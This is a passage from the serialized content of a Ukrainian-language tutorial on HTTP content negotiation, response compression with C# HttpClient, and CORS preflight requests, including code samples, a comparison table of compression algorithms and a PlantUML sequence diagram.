br\n",[3433,13262,13263,13266,13268],{"class":3435,"line":3461},[3433,13264,13265],{"class":3920},"Vary",[3433,13267,3908],{"class":3923},[3433,13269,13270],{"class":3926}," Accept, Accept-Language, Accept-Encoding\n",[8586,13272,13274],{"id":13273},"_406-not-acceptable","406 Not Acceptable",[3317,13276,13277,13278,13280],{},"Якщо сервер не може задовольнити жоден з ",[3430,13279,13064],{}," форматів:",[3423,13282,13284],{"className":3911,"code":13283,"language":3913,"meta":3428,"style":3428},"HTTP\u002F1.1 406 Not Acceptable\nContent-Type: application\u002Fproblem+json\n\n{\n  \"title\": \"Not Acceptable\",\n  \"detail\": \"Сервер підтримує тільки application\u002Fjson і application\u002Fxml\"\n}\n",[3430,13285,13286,13300,13309,13313,13317,13330,13340],{"__ignoreMap":3428},[3433,13287,13288,13290,13292,13294,13297],{"class":3435,"line":3436},[3433,13289,12206],{"class":3923},[3433,13291,4151],{"class":4749},[3433,13293,12233],{"class":5604},[3433,13295,13296],{"class":5604}," 406",[3433,13298,13299],{"class":3926}," Not Acceptable\n",[3433,13301,13302,13304,13306],{"class":3435,"line":3442},[3433,13303,11097],{"class":3920},[3433,13305,3908],{"class":3923},[3433,13307,13308],{"class":3926}," application\u002Fproblem+json\n",[3433,13310,13311],{"class":3435,"line":3448},[3433,13312,3458],{"emptyLinePlaceholder":3457},[3433,13314,13315],{"class":3435,"line":3454},[3433,13316,4843],{"class":4749},[3433,13318,13319,13323,13325,13328],{"class":3435,"line":3461},[3433,13320,13322],{"class":13321},"sLwNe","  \"title\"",[3433,13324,11531],{"class":4749},[3433,13326,13327],{"class":3926},"\"Not Acceptable\"",[3433,13329,4856],{"class":4749},[3433,13331,13332,13335,13337],{"class":3435,"line":3467},[3433,13333,13334],{"class":13321},"  \"detail\"",[3433,13336,11531],{"class":4749},[3433,13338,13339],{"class":3926},"\"Сервер підтримує тільки application\u002Fjson і application\u002Fxml\"\n",[3433,13341,13342],{"class":3435,"line":3473},[3433,13343,3813],{"class":4749},[3336,13345,13346,13351,13352,13355,13356,13359,13360,13362],{},[3321,13347,13348,13349,3908],{},"Заголовок ",[3430,13350,13265],{}," Критично важливий для кешів. Він вказує, від яких заголовків запиту залежить представлення ресурсу. ",[3430,13353,13354],{},"Vary: Accept"," означає, що кеш повинен зберігати ",[3321,13357,13358],{},"окремі копії"," для JSON і XML клієнтів. Без ",[3430,13361,13265],{}," кеш може повернути XML клієнту, що просив JSON.",[3423,13364,13366],{"className":4731,"code":13365,"language":4733,"meta":4734,"style":3428},"using System.Net.Http;\nusing System.Net.Http.Headers;\n\nusing var client = new HttpClient { BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\") };\n\n\u002F\u002F Явно вказати бажані формати з пріоритетами\n\u002F\u002F httpbingo.org\u002Fget — відображає заголовки запиту (для перевірки content negotiation)\nvar request = new HttpRequestMessage(HttpMethod.Get, \"get\");\n\nrequest.Headers.Accept.Clear();\nrequest.Headers.Accept.Add(\n    new MediaTypeWithQualityHeaderValue(\"application\u002Fjson\") { Quality = 1.0 }\n);\nrequest.Headers.Accept.Add(\n    new MediaTypeWithQualityHeaderValue(\"application\u002Fxml\") { Quality = 0.8 }\n);\n\n\u002F\u002F Мова\nrequest.Headers.AcceptLanguage.Add(\n    new StringWithQualityHeaderValue(\"uk\") { Quality = 1.0 }\n);\nrequest.Headers.AcceptLanguage.Add(\n    new StringWithQualityHeaderValue(\"en\") { Quality = 0.8 }\n);\n\nHttpResponseMessage response = await client.SendAsync(request);\n\nConsole.WriteLine($\"Content-Type: {response.Content.Headers.ContentType}\");\nConsole.WriteLine($\"Content-Language: {response.Headers.GetValues(\"Content-Language\").FirstOrDefault()}\");\nConsole.WriteLine($\"Content-Encoding: {response.Content.Headers.ContentEncoding.FirstOrDefault()}\");\n",[3430,13367,13368,13384,13404,13408,13438,13442,13447,13452,13479,13483,13502,13520,13546,13550,13568,13590,13594,13598,13603,13622,13644,13648,13666,13687,13691,13695,13717,13721,13757,13798],{"__ignoreMap":3428},[3433,13369,13370,13372,13374,13376,13378,13380,13382],{"class":3435,"line":3436},[3433,13371,4742],{"class":4741},[3433,13373,4746],{"class":4745},[3433,13375,3670],{"class":4749},[3433,13377,4752],{"class":4745},[3433,13379,3670],{"class":4749},[3433,13381,4770],{"class":4745},[3433,13383,4755],{"class":4749},[3433,13385,13386,13388,13390,13392,13394,13396,13398,13400,13402],{"class":3435,"line":3442},[3433,13387,4742],{"class":4741},[3433,13389,4746],{"class":4745},[3433,13391,3670],{"class":4749},[3433,13393,4752],{"class":4745},[3433,13395,3670],{"class":4749},[3433,13397,4770],{"class":4745},[3433,13399,3670],{"class":4749},[3433,13401,5515],{"class":4745},[3433,13403,4755],{"class":4749},[3433,13405,13406],{"class":3435,"line":3448},[3433,13407,3458],{"emptyLinePlaceholder":3457},[3433,13409,13410,13412,13414,13416,13418,13420,13422,13424,13426,13428,13430,13432,13434,13436],{"class":3435,"line":3454},[3433,13411,4742],{"class":4741},[3433,13413,4882],{"class":3923},[3433,13415,4885],{"class":4811},[3433,13417,4815],{"class":4749},[3433,13419,4818],{"class":3923},[3433,13421,4892],{"class":4745},[3433,13423,5337],{"class":4749},[3433,13425,7753],{"class":4811},[3433,13427,4815],{"class":4749},[3433,13429,4818],{"class":3923},[3433,13431,4917],{"class":4745},[3433,13433,4895],{"class":4749},[3433,13435,4922],{"class":3926},[3433,13437,7767],{"class":4749},[3433,13439,13440],{"class":3435,"line":3461},[3433,13441,3458],{"emptyLinePlaceholder":3457},[3433,13443,13444],{"class":3435,"line":3467},[3433,13445,13446],{"class":4802},"\u002F\u002F Явно вказати бажані формати з пріоритетами\n",[3433,13448,13449],{"class":3435,"line":3473},[3433,13450,13451],{"class":4802},"\u002F\u002F httpbingo.org\u002Fget — відображає заголовки запиту (для перевірки content negotiation)\n",[3433,13453,13454,13456,13458,13460,13462,13464,13466,13468,13470,13472,13474,13477],{"class":3435,"line":3479},[3433,13455,4808],{"class":3923},[3433,13457,5443],{"class":4811},[3433,13459,4815],{"class":4749},[3433,13461,4818],{"class":3923},[3433,13463,5450],{"class":4745},[3433,13465,4895],{"class":4749},[3433,13467,5455],{"class":4811},[3433,13469,3670],{"class":4749},[3433,13471,5460],{"class":4811},[3433,13473,4263],{"class":4749},[3433,13475,13476],{"class":3926},"\"get\"",[3433,13478,4976],{"class":4749},[3433,13480,13481],{"class":3435,"line":3484},[3433,13482,3458],{"emptyLinePlaceholder":3457},[3433,13484,13485,13487,13489,13491,13493,13495,13497,13500],{"class":3435,"line":3490},[3433,13486,5489],{"class":4811},[3433,13488,3670],{"class":4749},[3433,13490,5515],{"class":4811},[3433,13492,3670],{"class":4749},[3433,13494,13064],{"class":4811},[3433,13496,3670],{"class":4749},[3433,13498,13499],{"class":4967},"Clear",[3433,13501,4824],{"class":4749},[3433,13503,13504,13506,13508,13510,13512,13514,13516,13518],{"class":3435,"line":3496},[3433,13505,5489],{"class":4811},[3433,13507,3670],{"class":4749},[3433,13509,5515],{"class":4811},[3433,13511,3670],{"class":4749},[3433,13513,13064],{"class":4811},[3433,13515,3670],{"class":4749},[3433,13517,5793],{"class":4967},[3433,13519,5025],{"class":4749},[3433,13521,13522,13524,13527,13529,13532,13535,13538,13540,13543],{"class":3435,"line":3502},[3433,13523,5030],{"class":3923},[3433,13525,13526],{"class":4745}," MediaTypeWithQualityHeaderValue",[3433,13528,4895],{"class":4749},[3433,13530,13531],{"class":3926},"\"application\u002Fjson\"",[3433,13533,13534],{"class":4749},") { ",[3433,13536,13537],{"class":4811},"Quality",[3433,13539,4815],{"class":4749},[3433,13541,13542],{"class":5604},"1.0",[3433,13544,13545],{"class":4749}," }\n",[3433,13547,13548],{"class":3435,"line":3508},[3433,13549,4976],{"class":4749},[3433,13551,13552,13554,13556,13558,13560,13562,13564,13566],{"class":3435,"line":3513},[3433,13553,5489],{"class":4811},[3433,13555,3670],{"class":4749},[3433,13557,5515],{"class":4811},[3433,13559,3670],{"class":4749},[3433,13561,13064],{"class":4811},[3433,13563,3670],{"class":4749},[3433,13565,5793],{"class":4967},[3433,13567,5025],{"class":4749},[3433,13569,13570,13572,13574,13576,13579,13581,13583,13585,13588],{"class":3435,"line":3519},[3433,13571,5030],{"class":3923},[3433,13573,13526],{"class":4745},[3433,13575,4895],{"class":4749},[3433,13577,13578],{"class":3926},"\"application\u002Fxml\"",[3433,13580,13534],{"class":4749},[3433,13582,13537],{"class":4811},[3433,13584,4815],{"class":4749},[3433,13586,13587],{"class":5604},"0.8",[3433,13589,13545],{"class":4749},[3433,13591,13592],{"class":3435,"line":3525},[3433,13593,4976],{"class":4749},[3433,13595,13596],{"class":3435,"line":3531},[3433,13597,3458],{"emptyLinePlaceholder":3457},[3433,13599,13600],{"class":3435,"line":3537},[3433,13601,13602],{"class":4802},"\u002F\u002F Мова\n",[3433,13604,13605,13607,13609,13611,13613,13616,13618,13620],{"class":3435,"line":3542},[3433,13606,5489],{"class":4811},[3433,13608,3670],{"class":4749},[3433,13610,5515],{"class":4811},[3433,13612,3670],{"class":4749},[3433,13614,13615],{"class":4811},"AcceptLanguage",[3433,13617,3670],{"class":4749},[3433,13619,5793],{"class":4967},[3433,13621,5025],{"class":4749},[3433,13623,13624,13626,13629,13631,13634,13636,13638,13640,13642],{"class":3435,"line":3548},[3433,13625,5030],{"class":3923},[3433,13627,13628],{"class":4745}," StringWithQualityHeaderValue",[3433,13630,4895],{"class":4749},[3433,13632,13633],{"class":3926},"\"uk\"",[3433,13635,13534],{"class":4749},[3433,13637,13537],{"class":4811},[3433,13639,4815],{"class":4749},[3433,13641,13542],{"class":5604},[3433,13643,13545],{"class":4749},[3433,13645,13646],{"class":3435,"line":3554},[3433,13647,4976],{"class":4749},[3433,13649,13650,13652,13654,13656,13658,13660,13662,13664],{"class":3435,"line":3560},[3433,13651,5489],{"class":4811},[3433,13653,3670],{"class":4749},[3433,13655,5515],{"class":4811},[3433,13657,3670],{"class":4749},[3433,13659,13615],{"class":4811},[3433,13661,3670],{"class":4749},[3433,13663,5793],{"class":4967},[3433,13665,5025],{"class":4749},[3433,13667,13668,13670,13672,13674,13677,13679,13681,13683,13685],{"class":3435,"line":3565},[3433,13669,5030],{"class":3923},[3433,13671,13628],{"class":4745},[3433,13673,4895],{"class":4749},[3433,13675,13676],{"class":3926},"\"en\"",[3433,13678,13534],{"class":4749},[3433,13680,13537],{"class":4811},[3433,13682,4815],{"class":4749},[3433,13684,13587],{"class":5604},[3433,13686,13545],{"class":4749},[3433,13688,13689],{"class":3435,"line":3570},[3433,13690,4976],{"class":4749},[3433,13692,13693],{"class":3435,"line":3576},[3433,13694,3458],{"emptyLinePlaceholder":3457},[3433,13696,13697,13699,13701,13703,13705,13707,13709,13711,13713,13715],{"class":3435,"line":3582},[3433,13698,4952],{"class":4745},[3433,13700,6971],{"class":4811},[3433,13702,4815],{"class":4749},[3433,13704,4960],{"class":3923},[3433,13706,4885],{"class":4811},[3433,13708,3670],{"class":4749},[3433,13710,5484],{"class":4967},[3433,13712,4895],{"class":4749},[3433,13714,5489],{"class":4811},[3433,13716,4976],{"class":4749},[3433,13718,13719],{"class":3435,"line":3587},[3433,13720,3458],{"emptyLinePlaceholder":3457},[3433,13722,13723,13725,13727,13729,13731,13734,13736,13738,13740,13742,13744,13746,13748,13751,13753,13755],{"class":3435,"line":3592},[3433,13724,7898],{"class":4811},[3433,13726,3670],{"class":4749},[3433,13728,5080],{"class":4967},[3433,13730,4895],{"class":4749},[3433,13732,13733],{"class":3926},"$\"Content-Type: ",[3433,13735,5089],{"class":5088},[3433,13737,11351],{"class":4811},[3433,13739,3670],{"class":5088},[3433,13741,7880],{"class":4811},[3433,13743,3670],{"class":5088},[3433,13745,5515],{"class":4811},[3433,13747,3670],{"class":5088},[3433,13749,13750],{"class":4811},"ContentType",[3433,13752,5100],{"class":5088},[3433,13754,5117],{"class":3926},[3433,13756,4976],{"class":4749},[3433,13758,13759,13761,13763,13765,13767,13770,13772,13774,13776,13778,13780,13783,13785,13788,13790,13792,13794,13796],{"class":3435,"line":3598},[3433,13760,7898],{"class":4811},[3433,13762,3670],{"class":4749},[3433,13764,5080],{"class":4967},[3433,13766,4895],{"class":4749},[3433,13768,13769],{"class":3926},"$\"Content-Language: ",[3433,13771,5089],{"class":5088},[3433,13773,11351],{"class":4811},[3433,13775,3670],{"class":5088},[3433,13777,5515],{"class":4811},[3433,13779,3670],{"class":5088},[3433,13781,13782],{"class":4967},"GetValues",[3433,13784,4895],{"class":5088},[3433,13786,13787],{"class":3926},"\"Content-Language\"",[3433,13789,4708],{"class":5088},[3433,13791,5950],{"class":4967},[3433,13793,10814],{"class":5088},[3433,13795,5117],{"class":3926},[3433,13797,4976],{"class":4749},[3433,13799,13800,13802,13804,13806,13808,13811,13813,13815,13817,13819,13821,13823,13825,13828,13830,13832,13834,13836],{"class":3435,"line":3604},[3433,13801,7898],{"class":4811},[3433,13803,3670],{"class":4749},[3433,13805,5080],{"class":4967},[3433,13807,4895],{"class":4749},[3433,13809,13810],{"class":3926},"$\"Content-Encoding: ",[3433,13812,5089],{"class":5088},[3433,13814,11351],{"class":4811},[3433,13816,3670],{"class":5088},[3433,13818,7880],{"class":4811},[3433,13820,3670],{"class":5088},[3433,13822,5515],{"class":4811},[3433,13824,3670],{"class":5088},[3433,13826,13827],{"class":4811},"ContentEncoding",[3433,13829,3670],{"class":5088},[3433,13831,5950],{"class":4967},[3433,13833,10814],{"class":5088},[3433,13835,5117],{"class":3926},[3433,13837,4976],{"class":4749},[3654,13839,13841],{"id":13840},"стиснення-відповіді","Стиснення відповіді",[3423,13843,13845],{"className":4731,"code":13844,"language":4733,"meta":4734,"style":3428},"using System.IO.Compression;\nusing System.Net;\nusing System.Net.Http;\n\n\u002F\u002F HttpClientHandler підтримує автоматичну деcompression\nvar handler = new HttpClientHandler\n{\n    AutomaticDecompression = DecompressionMethods.GZip\n                           | DecompressionMethods.Deflate\n                           | DecompressionMethods.Brotli\n};\n\n\u002F\u002F Автоматично додає: Accept-Encoding: gzip, deflate, br\n\u002F\u002F Автоматично розпаковує відповідь — прозоро для коду\nusing var client = new HttpClient(handler);\n\n\u002F\u002F httpbingo.org\u002Fgzip — завжди повертає gzip-стиснений JSON\nHttpResponseMessage response = await client.GetAsync(\"https:\u002F\u002Fhttpbingo.org\u002Fgzip\");\n\nConsole.WriteLine($\"Content-Length: {response.Content.Headers.ContentLength}\"); \u002F\u002F може бути null при chunked\nstring content = await response.Content.ReadAsStringAsync(); \u002F\u002F вже розпаковано\nConsole.WriteLine($\"Розпакований розмір: {content.Length} символів\");\n",[3430,13846,13847,13865,13877,13893,13897,13902,13914,13918,13933,13945,13956,13960,13964,13969,13974,13994,13998,14003,14026,14030,14070,14097],{"__ignoreMap":3428},[3433,13848,13849,13851,13853,13855,13858,13860,13863],{"class":3435,"line":3436},[3433,13850,4742],{"class":4741},[3433,13852,4746],{"class":4745},[3433,13854,3670],{"class":4749},[3433,13856,13857],{"class":4745},"IO",[3433,13859,3670],{"class":4749},[3433,13861,13862],{"class":4745},"Compression",[3433,13864,4755],{"class":4749},[3433,13866,13867,13869,13871,13873,13875],{"class":3435,"line":3442},[3433,13868,4742],{"class":4741},[3433,13870,4746],{"class":4745},[3433,13872,3670],{"class":4749},[3433,13874,4752],{"class":4745},[3433,13876,4755],{"class":4749},[3433,13878,13879,13881,13883,13885,13887,13889,13891],{"class":3435,"line":3448},[3433,13880,4742],{"class":4741},[3433,13882,4746],{"class":4745},[3433,13884,3670],{"class":4749},[3433,13886,4752],{"class":4745},[3433,13888,3670],{"class":4749},[3433,13890,4770],{"class":4745},[3433,13892,4755],{"class":4749},[3433,13894,13895],{"class":3435,"line":3454},[3433,13896,3458],{"emptyLinePlaceholder":3457},[3433,13898,13899],{"class":3435,"line":3461},[3433,13900,13901],{"class":4802},"\u002F\u002F HttpClientHandler підтримує автоматичну деcompression\n",[3433,13903,13904,13906,13908,13910,13912],{"class":3435,"line":3467},[3433,13905,4808],{"class":3923},[3433,13907,4831],{"class":4811},[3433,13909,4815],{"class":4749},[3433,13911,4818],{"class":3923},[3433,13913,4838],{"class":4745},[3433,13915,13916],{"class":3435,"line":3473},[3433,13917,4843],{"class":4749},[3433,13919,13920,13923,13925,13928,13930],{"class":3435,"line":3479},[3433,13921,13922],{"class":4811},"    AutomaticDecompression",[3433,13924,4815],{"class":4749},[3433,13926,13927],{"class":4811},"DecompressionMethods",[3433,13929,3670],{"class":4749},[3433,13931,13932],{"class":4811},"GZip\n",[3433,13934,13935,13938,13940,13942],{"class":3435,"line":3484},[3433,13936,13937],{"class":4749},"                           | ",[3433,13939,13927],{"class":4811},[3433,13941,3670],{"class":4749},[3433,13943,13944],{"class":4811},"Deflate\n",[3433,13946,13947,13949,13951,13953],{"class":3435,"line":3490},[3433,13948,13937],{"class":4749},[3433,13950,13927],{"class":4811},[3433,13952,3670],{"class":4749},[3433,13954,13955],{"class":4811},"Brotli\n",[3433,13957,13958],{"class":3435,"line":3496},[3433,13959,4871],{"class":4749},[3433,13961,13962],{"class":3435,"line":3502},[3433,13963,3458],{"emptyLinePlaceholder":3457},[3433,13965,13966],{"class":3435,"line":3508},[3433,13967,13968],{"class":4802},"\u002F\u002F Автоматично додає: Accept-Encoding: gzip, deflate, br\n",[3433,13970,13971],{"class":3435,"line":3513},[3433,13972,13973],{"class":4802},"\u002F\u002F Автоматично розпаковує відповідь — прозоро для коду\n",[3433,13975,13976,13978,13980,13982,13984,13986,13988,13990,13992],{"class":3435,"line":3519},[3433,13977,4742],{"class":4741},[3433,13979,4882],{"class":3923},[3433,13981,4885],{"class":4811},[3433,13983,4815],{"class":4749},[3433,13985,4818],{"class":3923},[3433,13987,4892],{"class":4745},[3433,13989,4895],{"class":4749},[3433,13991,4898],{"class":4811},[3433,13993,4976],{"class":4749},[3433,13995,13996],{"class":3435,"line":3525},[3433,13997,3458],{"emptyLinePlaceholder":3457},[3433,13999,14000],{"class":3435,"line":3531},[3433,14001,14002],{"class":4802},"\u002F\u002F httpbingo.org\u002Fgzip — завжди повертає gzip-стиснений JSON\n",[3433,14004,14005,14007,14009,14011,14013,14015,14017,14019,14021,14024],{"class":3435,"line":3537},[3433,14006,4952],{"class":4745},[3433,14008,6971],{"class":4811},[3433,14010,4815],{"class":4749},[3433,14012,4960],{"class":3923},[3433,14014,4885],{"class":4811},[3433,14016,3670],{"class":4749},[3433,14018,4968],{"class":4967},[3433,14020,4895],{"class":4749},[3433,14022,14023],{"class":3926},"\"https:\u002F\u002Fhttpbingo.org\u002Fgzip\"",[3433,14025,4976],{"class":4749},[3433,14027,14028],{"class":3435,"line":3542},[3433,14029,3458],{"emptyLinePlaceholder":3457},[3433,14031,14032,14034,14036,14038,14040,14043,14045,14047,14049,14051,14053,14055,14057,14060,14062,14064,14067],{"class":3435,"line":3548},[3433,14033,7898],{"class":4811},[3433,14035,3670],{"class":4749},[3433,14037,5080],{"class":4967},[3433,14039,4895],{"class":4749},[3433,14041,14042],{"class":3926},"$\"Content-Length: ",[3433,14044,5089],{"class":5088},[3433,14046,11351],{"class":4811},[3433,14048,3670],{"class":5088},[3433,14050,7880],{"class":4811},[3433,14052,3670],{"class":5088},[3433,14054,5515],{"class":4811},[3433,14056,3670],{"class":5088},[3433,14058,14059],{"class":4811},"ContentLength",[3433,14061,5100],{"class":5088},[3433,14063,5117],{"class":3926},[3433,14065,14066],{"class":4749},"); ",[3433,14068,14069],{"class":4802},"\u002F\u002F може бути null при chunked\n",[3433,14071,14072,14074,14077,14079,14081,14083,14085,14087,14089,14091,14094],{"class":3435,"line":3554},[3433,14073,3940],{"class":3923},[3433,14075,14076],{"class":4811}," content",[3433,14078,4815],{"class":4749},[3433,14080,4960],{"class":3923},[3433,14082,6971],{"class":4811},[3433,14084,3670],{"class":4749},[3433,14086,7880],{"class":4811},[3433,14088,3670],{"class":4749},[3433,14090,12948],{"class":4967},[3433,14092,14093],{"class":4749},"(); ",[3433,14095,14096],{"class":4802},"\u002F\u002F вже розпаковано\n",[3433,14098,14099,14101,14103,14105,14107,14110,14112,14115,14117,14119,14121,14124],{"class":3435,"line":3560},[3433,14100,7898],{"class":4811},[3433,14102,3670],{"class":4749},[3433,14104,5080],{"class":4967},[3433,14106,4895],{"class":4749},[3433,14108,14109],{"class":3926},"$\"Розпакований розмір: ",[3433,14111,5089],{"class":5088},[3433,14113,14114],{"class":4811},"content",[3433,14116,3670],{"class":5088},[3433,14118,5673],{"class":4811},[3433,14120,5100],{"class":5088},[3433,14122,14123],{"class":3926}," символів\"",[3433,14125,4976],{"class":4749},[3317,14127,14128],{},[3321,14129,14130],{},"Порівняння алгоритмів стиснення:",[3346,14132,14133,14148],{},[3349,14134,14135],{},[3352,14136,14137,14139,14142,14145],{},[3355,14138,7432],{},[3355,14140,14141],{},"Ступінь стиснення",[3355,14143,14144],{},"Швидкість розпакування",[3355,14146,14147],{},"Підтримка браузерами",[3368,14149,14150,14166,14180],{},[3352,14151,14152,14157,14160,14163],{},[3373,14153,14154],{},[3321,14155,14156],{},"Gzip",[3373,14158,14159],{},"Середній",[3373,14161,14162],{},"Висока",[3373,14164,14165],{},"100%",[3352,14167,14168,14173,14175,14177],{},[3373,14169,14170],{},[3321,14171,14172],{},"Deflate",[3373,14174,14159],{},[3373,14176,14162],{},[3373,14178,14179],{},"100% (але проблеми)",[3352,14181,14182,14188,14191,14193],{},[3373,14183,14184,14187],{},[3321,14185,14186],{},"Brotli"," (br)",[3373,14189,14190],{},"Найкращий (+15-25% vs gzip)",[3373,14192,14162],{},[3373,14194,14195],{},"95%+",[4153,14197,14198,14201],{},[3321,14199,14200],{},"Коли не стискати:"," зображення (JPEG\u002FPNG\u002FWebP вже стиснені), відео, зашифровані дані. Стиснення таких типів збільшує розмір і витрачає CPU.",[3647,14203],{},[3312,14205,14207],{"id":14206},"cors-cross-origin-resource-sharing","CORS: Cross-Origin Resource Sharing",[3654,14209,14211],{"id":14210},"проблема-same-origin-policy","Проблема: Same-Origin Policy",[3317,14213,14214,14215,14218],{},"Браузери реалізують ",[3321,14216,14217],{},"Same-Origin Policy"," (SOP) — правило безпеки, що забороняє JavaScript одного джерела робити запити до іншого джерела без явного дозволу сервера.",[3317,14220,14221,14223],{},[3321,14222,4607],{}," = схема + хост + порт. Усі три компоненти мають співпадати.",[3346,14225,14226,14242],{},[3349,14227,14228],{},[3352,14229,14230,14233,14236,14239],{},[3355,14231,14232],{},"URL запиту",[3355,14234,14235],{},"Origin сторінки",[3355,14237,14238],{},"Результат",[3355,14240,14241],{},"Причина",[3368,14243,14244,14261,14277,14293],{},[3352,14245,14246,14251,14255,14258],{},[3373,14247,14248],{},[3430,14249,14250],{},"https:\u002F\u002Fapi.example.com\u002Fdata",[3373,14252,14253],{},[3430,14254,4196],{},[3373,14256,14257],{},"❌ Cross-origin",[3373,14259,14260],{},"Різні хости",[3352,14262,14263,14267,14272,14274],{},[3373,14264,14265],{},[3430,14266,14250],{},[3373,14268,14269],{},[3430,14270,14271],{},"http:\u002F\u002Fapi.example.com",[3373,14273,14257],{},[3373,14275,14276],{},"Різна схема",[3352,14278,14279,14284,14288,14290],{},[3373,14280,14281],{},[3430,14282,14283],{},"https:\u002F\u002Fapi.example.com:8080\u002Fdata",[3373,14285,14286],{},[3430,14287,4200],{},[3373,14289,14257],{},[3373,14291,14292],{},"Різний порт",[3352,14294,14295,14300,14304,14307],{},[3373,14296,14297],{},[3430,14298,14299],{},"https:\u002F\u002Fapi.example.com\u002Fusers",[3373,14301,14302],{},[3430,14303,4200],{},[3373,14305,14306],{},"✅ Same-origin",[3373,14308,14309],{},"Все співпадає",[3317,14311,14312,14315,14316,14319,14320,3670],{},[3321,14313,14314],{},"Навіщо SOP?"," Без нього будь-який сайт міг би виконати ",[3430,14317,14318],{},"fetch(\"https:\u002F\u002Fbank.com\u002Faccount\")"," з cookies жертви і прочитати баланс. SOP не захищає від CSRF (браузер все одно надсилає запит), але захищає від ",[3321,14321,14322],{},"читання відповіді",[3654,14324,14326],{"id":14325},"простий-vs-preflight-запит","Простий vs Preflight запит",[3317,14328,14329,14332],{},[3321,14330,14331],{},"Simple Request"," — не вимагає preflight, якщо:",[3686,14334,14335,14346,14358],{},[3689,14336,14337,14338,4263,14340,4263,14343],{},"Метод: ",[3430,14339,12200],{},[3430,14341,14342],{},"HEAD",[3430,14344,14345],{},"POST",[3689,14347,14348,11531,14350,4263,14352,4263,14355],{},[3430,14349,11097],{},[3430,14351,11101],{},[3430,14353,14354],{},"application\u002Fx-www-form-urlencoded",[3430,14356,14357],{},"multipart\u002Fform-data",[3689,14359,14360],{},"Немає кастомних заголовків",[3317,14362,14363,14366,14367,14370],{},[3321,14364,14365],{},"Preflighted Request"," — вимагає попереднього ",[3430,14368,14369],{},"OPTIONS"," запиту, якщо:",[3686,14372,14373,14384,14391],{},[3689,14374,14337,14375,4263,14378,4263,14381],{},[3430,14376,14377],{},"PUT",[3430,14379,14380],{},"DELETE",[3430,14382,14383],{},"PATCH",[3689,14385,14386,11531,14388],{},[3430,14387,11097],{},[3430,14389,14390],{},"application\u002Fjson",[3689,14392,14393,14394,4263,14396,14399],{},"Будь-який кастомний заголовок (",[3430,14395,6547],{},[3430,14397,14398],{},"X-Request-Id",")",[3420,14401,14402],{},[3423,14403,14405],{"className":3425,"code":14404,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"JS\\napp.example.com\" as js\nparticipant \"Браузер\" as browser #e3f2fd\nparticipant \"API\\napi.example.com\" as api #e8f5e9\n\n== Preflighted Request ==\njs -> browser : fetch(\"\u002Fdata\", {\\n  method: \"PUT\",\\n  headers: { Authorization: \"Bearer ...\" }\\n})\n\nbrowser -> api : **OPTIONS** \u002Fdata HTTP\u002F1.1\\nOrigin: https:\u002F\u002Fapp.example.com\\nAccess-Control-Request-Method: PUT\\nAccess-Control-Request-Headers: Authorization, Content-Type\n\napi --> browser : 204 No Content\\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\\nAccess-Control-Allow-Methods: GET, PUT, DELETE, PATCH\\nAccess-Control-Allow-Headers: Authorization, Content-Type\\nAccess-Control-Max-Age: 86400\\nAccess-Control-Allow-Credentials: true\n\nnote over browser\n  Preflight кешується 86400 секунд!\n  Наступного разу — без OPTIONS.\nend note\n\nbrowser -> api : **PUT** \u002Fdata HTTP\u002F1.1\\nOrigin: https:\u002F\u002Fapp.example.com\\nAuthorization: Bearer eyJ...\\nContent-Type: application\u002Fjson\n\napi --> browser : 200 OK\\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\\nAccess-Control-Expose-Headers: X-Total-Count\n\nbrowser --> js : Відповідь доступна JS\n\n@enduml\n",[3430,14406,14407,14411,14415,14419,14423,14428,14432,14437,14441,14446,14451,14455,14460,14464,14469,14473,14478,14483,14488,14492,14496,14501,14505,14510,14514,14519,14523],{"__ignoreMap":3428},[3433,14408,14409],{"class":3435,"line":3436},[3433,14410,3439],{},[3433,14412,14413],{"class":3435,"line":3442},[3433,14414,3445],{},[3433,14416,14417],{"class":3435,"line":3448},[3433,14418,3451],{},[3433,14420,14421],{"class":3435,"line":3454},[3433,14422,3458],{"emptyLinePlaceholder":3457},[3433,14424,14425],{"class":3435,"line":3461},[3433,14426,14427],{},"actor \"JS\\napp.example.com\" as js\n",[3433,14429,14430],{"class":3435,"line":3467},[3433,14431,3470],{},[3433,14433,14434],{"class":3435,"line":3473},[3433,14435,14436],{},"participant \"API\\napi.example.com\" as api #e8f5e9\n",[3433,14438,14439],{"class":3435,"line":3479},[3433,14440,3458],{"emptyLinePlaceholder":3457},[3433,14442,14443],{"class":3435,"line":3484},[3433,14444,14445],{},"== Preflighted Request ==\n",[3433,14447,14448],{"class":3435,"line":3490},[3433,14449,14450],{},"js -> browser : fetch(\"\u002Fdata\", {\\n  method: \"PUT\",\\n  headers: { Authorization: \"Bearer ...\" }\\n})\n",[3433,14452,14453],{"class":3435,"line":3496},[3433,14454,3458],{"emptyLinePlaceholder":3457},[3433,14456,14457],{"class":3435,"line":3502},[3433,14458,14459],{},"browser -> api : **OPTIONS** \u002Fdata HTTP\u002F1.1\\nOrigin: https:\u002F\u002Fapp.example.com\\nAccess-Control-Request-Method: PUT\\nAccess-Control-Request-Headers: Authorization, Content-Type\n",[3433,14461,14462],{"class":3435,"line":3508},[3433,14463,3458],{"emptyLinePlaceholder":3457},[3433,14465,14466],{"class":3435,"line":3513},[3433,14467,14468],{},"api --> browser : 204 No Content\\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\\nAccess-Control-Allow-Methods: GET, PUT, DELETE, PATCH\\nAccess-Control-Allow-Headers: Authorization, Content-Type\\nAccess-Control-Max-Age: 86400\\nAccess-Control-Allow-Credentials: true\n",[3433,14470,14471],{"class":3435,"line":3519},[3433,14472,3458],{"emptyLinePlaceholder":3457},[3433,14474,14475],{"class":3435,"line":3525},[3433,14476,14477],{},"note over browser\n",[3433,14479,14480],{"class":3435,"line":3531},[3433,14481,14482],{},"  Preflight кешується 86400 секунд!\n",[3433,14484,14485],{"class":3435,"line":3537},[3433,14486,14487],{},"  Наступного разу — без OPTIONS.\n",[3433,14489,14490],{"class":3435,"line":3542},[3433,14491,3534],{},[3433,14493,14494],{"class":3435,"line":3548},[3433,14495,3458],{"emptyLinePlaceholder":3457},[3433,14497,14498],{"class":3435,"line":3554},[3433,14499,14500],{},"browser -> api : **PUT** \u002Fdata HTTP\u002F1.1\\nOrigin: https:\u002F\u002Fapp.example.com\\nAuthorization: Bearer eyJ...\\nContent-Type: 